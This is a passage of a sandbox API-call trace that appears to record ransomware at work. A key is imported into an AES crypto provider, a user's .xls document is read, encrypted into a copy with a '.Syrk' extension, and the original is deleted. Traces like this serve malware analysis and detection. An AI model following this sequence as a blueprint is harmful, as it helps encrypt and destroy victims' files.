(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0231.548] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0231.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0231.548] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0231.548] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0231.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0231.549] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0231.549] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0231.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0231.549] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0231.549] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0231.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0231.550] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0231.550] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0231.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0231.550] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0231.551] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0231.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0231.551] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0231.551] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0231.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0231.552] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0231.552] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0231.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0231.552] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0231.553] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0231.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0231.553] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0231.553] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0231.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0231.553] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0231.554] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.554] EtwEventActivityIdControl () returned 0x0 [0231.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0231.554] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0231.554] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0231.556] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0231.558] CryptImportKey (in: hProv=0x5c4d100, pbData=0x23645e8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99620) returned 1 [0231.558] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.559] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.559] EtwEventActivityIdControl () returned 0x0 [0231.559] EtwEventActivityIdControl () returned 0x0 [0231.559] EtwEventActivityIdControl () returned 0x0 [0231.567] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0231.568] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0231.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.569] EtwEventActivityIdControl () returned 0x0 [0231.569] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.569] EtwEventActivityIdControl () returned 0x0 [0231.569] EtwEventActivityIdControl () returned 0x0 [0231.569] EtwEventActivityIdControl () returned 0x0 [0231.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0231.575] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0231.575] GetFileType (hFile=0x454) returned 0x1 [0231.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0231.575] GetFileType (hFile=0x454) returned 0x1 [0231.575] EtwEventActivityIdControl () returned 0x0 [0231.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.576] EtwEventActivityIdControl () returned 0x0 [0231.576] EtwEventActivityIdControl () returned 0x0 [0231.576] EtwEventActivityIdControl () returned 0x0 [0231.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0231.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk", lpFilePart=0x0) returned 0x36 [0231.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0231.578] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0231.579] GetFileType (hFile=0x458) returned 0x1 [0231.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0231.579] GetFileType (hFile=0x458) returned 0x1 [0231.579] EtwEventActivityIdControl () returned 0x0 [0231.579] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x2375510 | out: pbBuffer=0x2375510) returned 1 [0231.580] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.581] CryptDuplicateKey (in: hKey=0x5c99620, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c998e0) returned 1 [0231.581] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.581] CryptSetKeyParam (hKey=0x5c998e0, dwParam=0x4, pbData=0x237683c*=0x1, dwFlags=0x0) returned 1 [0231.581] CryptSetKeyParam (hKey=0x5c998e0, dwParam=0x1, pbData=0x2376808, dwFlags=0x0) returned 1 [0231.581] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.629] EtwEventActivityIdControl () returned 0x0 [0231.629] EtwEventActivityIdControl () returned 0x0 [0231.629] EtwEventActivityIdControl () returned 0x0 [0231.630] EtwEventActivityIdControl () returned 0x0 [0231.631] ReadFile (in: hFile=0x454, lpBuffer=0x2379484, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2379484*, lpNumberOfBytesRead=0x5a2e7d8*=0x261c, lpOverlapped=0x0) returned 1 [0231.633] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x238d49c*, pdwDataLen=0x5a2e7cc*=0x2610, dwBufLen=0x2610 | out: pbData=0x238d49c*, pdwDataLen=0x5a2e7cc*=0x2610) returned 1 [0231.633] WriteFile (in: hFile=0x458, lpBuffer=0x23755ec*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23755ec*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0231.634] WriteFile (in: hFile=0x458, lpBuffer=0x238e488*, nNumberOfBytesToWrite=0x1624, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x238e488*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1624, lpOverlapped=0x0) returned 1 [0231.635] ReadFile (in: hFile=0x454, lpBuffer=0x2379484, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2379484*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0231.635] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x238fab8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x238fab8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0231.635] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x238fad4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x238fad4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0231.635] WriteFile (in: hFile=0x458, lpBuffer=0x23755ec*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23755ec*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0231.635] CloseHandle (hObject=0x458) returned 1 [0231.637] CloseHandle (hObject=0x454) returned 1 [0231.637] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.638] EtwEventActivityIdControl () returned 0x0 [0231.638] EtwEventActivityIdControl () returned 0x0 [0231.638] EtwEventActivityIdControl () returned 0x0 [0231.645] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0231.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.648] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0231.648] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0231.648] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0231.648] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0231.648] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0231.649] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0231.649] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0231.649] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0231.649] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0231.649] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0231.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0231.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0231.649] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0231.649] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0231.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0231.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0231.650] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0231.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0231.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.654] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0231.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0231.654] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0231.654] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0231.654] CoTaskMemFree (pv=0x5c9b950) [0231.656] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 0x20 [0231.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0231.657] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls", lpFilePart=0x0) returned 0x31 [0231.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0231.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls"), fInfoLevelId=0x0, lpFileInformation=0x239b400 | out: lpFileInformation=0x239b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d33e2d0, ftCreationTime.dwHighDateTime=0x1d99c69, ftLastAccessTime.dwLowDateTime=0xd58ba640, ftLastAccessTime.dwHighDateTime=0x1d99d94, ftLastWriteTime.dwLowDateTime=0xd58ba640, ftLastWriteTime.dwHighDateTime=0x1d99d94, nFileSizeHigh=0x0, nFileSizeLow=0x261c)) returned 1 [0231.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0231.657] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls")) returned 1 [0231.661] EtwEventActivityIdControl () returned 0x0 [0231.662] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.662] EtwEventActivityIdControl () returned 0x0 [0231.662] EtwEventActivityIdControl () returned 0x0 [0231.662] EtwEventActivityIdControl () returned 0x0 [0231.670] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tboltobf6oytadvf.xls.syrk")) returned 0x20 [0231.671] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tbolTOBf6oytAdVf.xls.Syrk" (normalized: 